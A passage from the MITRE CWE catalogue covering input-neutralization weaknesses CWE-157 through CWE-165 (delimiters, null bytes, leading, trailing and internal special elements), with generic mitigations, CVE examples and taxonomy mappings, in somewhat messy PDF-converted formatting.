Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER	SPEC.WHITESPACE		Whitespace
Software Fault Patterns	SFP24		Tainted input to command

## CWE-157: Failure to Sanitize Paired Delimiters

**Weakness ID** : 157

**Structure** : Simple

**Abstraction** : Variant

### Description

The product does not properly handle the characters that are used to mark the beginning and ending of a group of entities, such as parentheses, brackets, and braces.

### Extended Description


Paired delimiters might include:

- < and > angle brackets
- ( and ) parentheses
- { and } braces
- [ and ] square brackets
- " " double quotes
- ' ' single quotes

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	357

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that grouping elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended

validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2004-0956</b>	Crash via missing paired delimiter (open double-quote but no closing double-quote). <a href="https://www.cve.org/CVERecord?id=CVE-2004-0956">https://www.cve.org/CVERecord?id=CVE-2004-0956</a>
<b>CVE-2000-1165</b>	Crash via message without closing ">". <a href="https://www.cve.org/CVERecord?id=CVE-2000-1165">https://www.cve.org/CVERecord?id=CVE-2000-1165</a>
<b>CVE-2005-2933</b>	Buffer overflow via mailbox name with an opening double quote but missing a closing double quote, causing a larger copy than expected. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2933">https://www.cve.org/CVERecord?id=CVE-2005-2933</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Notes

#### Research Gap

Under-studied.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Grouping Element / Paired Delimiter
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
15	Command Delimiters

## CWE-158: Improper Neutralization of Null Byte or NUL Character

**Weakness ID** : 158  
**Structure** : Simple  
**Abstraction** : Variant

### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes NUL characters or null bytes when they are sent to a downstream component.

### Extended Description

As data is parsed, an injected NUL character or null byte may cause the product to believe the input is terminated earlier than it actually is, or otherwise cause the input to be misinterpreted. This could then be used to inject potentially dangerous input that occurs after the null byte or otherwise bypass validation routines and other protection mechanisms.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	357

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that null characters or null bytes will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same



input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2008-1284</b>	NUL byte in theme name causes directory traversal impact to be worse <a href="https://www.cve.org/CVERecord?id=CVE-2008-1284">https://www.cve.org/CVERecord?id=CVE-2008-1284</a>
<b>CVE-2005-2008</b>	Source code disclosure using trailing null. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2008">https://www.cve.org/CVERecord?id=CVE-2005-2008</a>
<b>CVE-2005-3293</b>	Source code disclosure using trailing null. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3293">https://www.cve.org/CVERecord?id=CVE-2005-3293</a>
<b>CVE-2005-2061</b>	Trailing null allows file include. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2061">https://www.cve.org/CVERecord?id=CVE-2005-2061</a>
<b>CVE-2002-1774</b>	Null character in MIME header allows detection bypass. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1774">https://www.cve.org/CVERecord?id=CVE-2002-1774</a>
<b>CVE-2000-0149</b>	Web server allows remote attackers to view the source code for CGI programs via a null character (%00) at the end of a URL. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0149">https://www.cve.org/CVERecord?id=CVE-2000-0149</a>
<b>CVE-2000-0671</b>	Web server earlier allows remote attackers to bypass access restrictions, list directory contents, and read source code by inserting a null character (%00) in the URL. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0671">https://www.cve.org/CVERecord?id=CVE-2000-0671</a>
<b>CVE-2001-0738</b>	Logging system allows an attacker to cause a denial of service (hang) by causing null bytes to be placed in log messages. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0738">https://www.cve.org/CVERecord?id=CVE-2001-0738</a>
<b>CVE-2001-1140</b>	Web server allows source code for executable programs to be read via a null character (%00) at the end of a request. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1140">https://www.cve.org/CVERecord?id=CVE-2001-1140</a>
<b>CVE-2002-1031</b>	Protection mechanism for limiting file access can be bypassed using a null character (%00) at the end of the directory name. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1031">https://www.cve.org/CVERecord?id=CVE-2002-1031</a>
<b>CVE-2002-1025</b>	Application server allows remote attackers to read JSP source code via an encoded null byte in an HTTP GET request, which causes the server to send the .JSP file unparsed. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1025">https://www.cve.org/CVERecord?id=CVE-2002-1025</a>
<b>CVE-2003-0768</b>	XSS protection mechanism only checks for sequences with an alphabetical character following a (<), so a non-alphabetical or null character (%00) following a < may be processed. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0768">https://www.cve.org/CVERecord?id=CVE-2003-0768</a>
<b>CVE-2004-0189</b>	Decoding function in proxy allows regular expression bypass in ACLs via URLs with null characters. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0189">https://www.cve.org/CVERecord?id=CVE-2004-0189</a>
<b>CVE-2005-3153</b>	Null byte bypasses PHP regexp check (interaction error). <a href="https://www.cve.org/CVERecord?id=CVE-2005-3153">https://www.cve.org/CVERecord?id=CVE-2005-3153</a>
<b>CVE-2005-4155</b>	Null byte bypasses PHP regexp check (interaction error). <a href="https://www.cve.org/CVERecord?id=CVE-2005-4155">https://www.cve.org/CVERecord?id=CVE-2005-4155</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Notes

## Relationship

This can be a factor in multiple interpretation errors, other interaction errors, filename equivalence, etc.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Null Character / Null Byte
WASC	28		Null Byte Injection
Software Fault Patterns	SFP24		Tainted input to command

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-159: Improper Handling of Invalid Use of Special Elements

**Weakness ID** : 159

**Structure** : Simple

**Abstraction** : Class





## Description

The product does not properly filter, remove, quote, or otherwise manage the invalid use of special elements in user-controlled input, which could cause adverse effect on its behavior and integrity.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	357
ParentOf		166	Improper Handling of Missing Special Element	406
ParentOf		167	Improper Handling of Additional Special Element	408
ParentOf		168	Improper Handling of Inconsistent Special Elements	409

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

## Potential Mitigations

Developers should anticipate that special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Phase: Implementation***Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Phase: Implementation***Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

**Notes****Maintenance**

The list of children for this entry is far from complete. However, the types of special elements might be too precise for use within CWE.

**Terminology**

Precise terminology for the underlying weaknesses does not exist. Therefore, these weaknesses use the terminology associated with the manipulation.

**Research Gap**

Customized languages and grammars, even those that are specific to a particular product, are potential sources of weaknesses that are related to special elements. However, most researchers concentrate on the most commonly used representations for data transmission, such as HTML and SQL. Any representation that is commonly used is likely to be a rich source of weaknesses; researchers are encouraged to investigate previously unexplored representations.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Common Special Element Manipulations
Software Fault Patterns	SFP24		Tainted input to command

## CWE-160: Improper Neutralization of Leading Special Elements

**Weakness ID :** 160

**Structure :** Simple

**Abstraction :** Variant

### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.




### Extended Description

As data is parsed, improperly handled leading special elements may cause the process to take unexpected actions that result in an attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	357
ParentOf		37	Path Traversal: '/absolute/pathname/here'	75
ParentOf		161	Improper Neutralization of Multiple Leading Special Elements	398

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that leading special elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be

syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Leading Special Element
Software Fault Patterns	SFP24		Tainted input to command

## CWE-161: Improper Neutralization of Multiple Leading Special Elements

**Weakness ID :** 161

**Structure :** Simple

**Abstraction :** Variant

### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

### Extended Description

As data is parsed, improperly handled multiple leading special elements may cause the process to take unexpected actions that result in an attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	🔍	160	Improper Neutralization of Leading Special Elements	397
ParentOf	🔍	50	Path Equivalence: '//multiple/leading/slash'	97

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that multiple leading special elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### MemberOf Relationships



This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Multiple Leading Special Elements
Software Fault Patterns	SFP24		Tainted input to command

## CWE-162: Improper Neutralization of Trailing Special Elements

**Weakness ID :** 162

**Structure :** Simple

**Abstraction :** Variant

### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

### Extended Description

As data is parsed, improperly handled trailing special elements may cause the process to take unexpected actions that result in an attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	357
ParentOf		42	Path Equivalence: 'filename.' (Trailing Dot)	89
ParentOf		46	Path Equivalence: 'filename ' (Trailing Space)	93
ParentOf		49	Path Equivalence: 'filename/' (Trailing Slash)	96
ParentOf		54	Path Equivalence: 'filedir\' (Trailing Backslash)	101
ParentOf		163	Improper Neutralization of Multiple Trailing Special Elements	401

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that trailing special elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

**Phase:** Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Phase: Implementation***Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Phase: Implementation***Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Trailing Special Element
Software Fault Patterns	SFP24		Tainted input to command

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name
635	Alternative Execution Due to Deceptive Filenames

**CWE-163: Improper Neutralization of Multiple Trailing Special Elements****Weakness ID** : 163**Structure** : Simple**Abstraction** : Variant**Description**

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

### Extended Description

As data is parsed, improperly handled multiple trailing special elements may cause the process to take unexpected actions that result in an attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	✓	162	Improper Neutralization of Trailing Special Elements	400
ParentOf	✓	43	Path Equivalence: 'filename....' (Multiple Trailing Dot)	90
ParentOf	✓	52	Path Equivalence: '/multiple/trailing/slash/'	99

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that multiple trailing special elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space,

wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Multiple Trailing Special Elements
Software Fault Patterns	SFP24		Tainted input to command

## CWE-164: Improper Neutralization of Internal Special Elements

**Weakness ID** : 164

**Structure** : Simple

**Abstraction** : Variant

### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

### Extended Description

As data is parsed, improperly handled internal special elements may cause the process to take unexpected actions that result in an attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	357
ParentOf		165	Improper Neutralization of Multiple Internal Special Elements	404

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

## Potential Mitigations

Developers should anticipate that internal special elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Internal Special Element
Software Fault Patterns	SFP24		Tainted input to command

## CWE-165: Improper Neutralization of Multiple Internal Special Elements

Weakness ID : 165

Structure : Simple

**Abstraction** : Variant

## Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

## Extended Description

As data is parsed, improperly handled multiple internal special elements may cause the process to take unexpected actions that result in an attack.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	✓	164	Improper Neutralization of Internal Special Elements	403
ParentOf	✓	45	Path Equivalence: 'file...name' (Multiple Internal Dot)	92
ParentOf	✓	53	Path Equivalence: '\multiple\internal\backslash'	100

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

## Potential Mitigations

Developers should anticipate that multiple internal special elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

### Phase: Implementation

*Strategy = Input Validation*

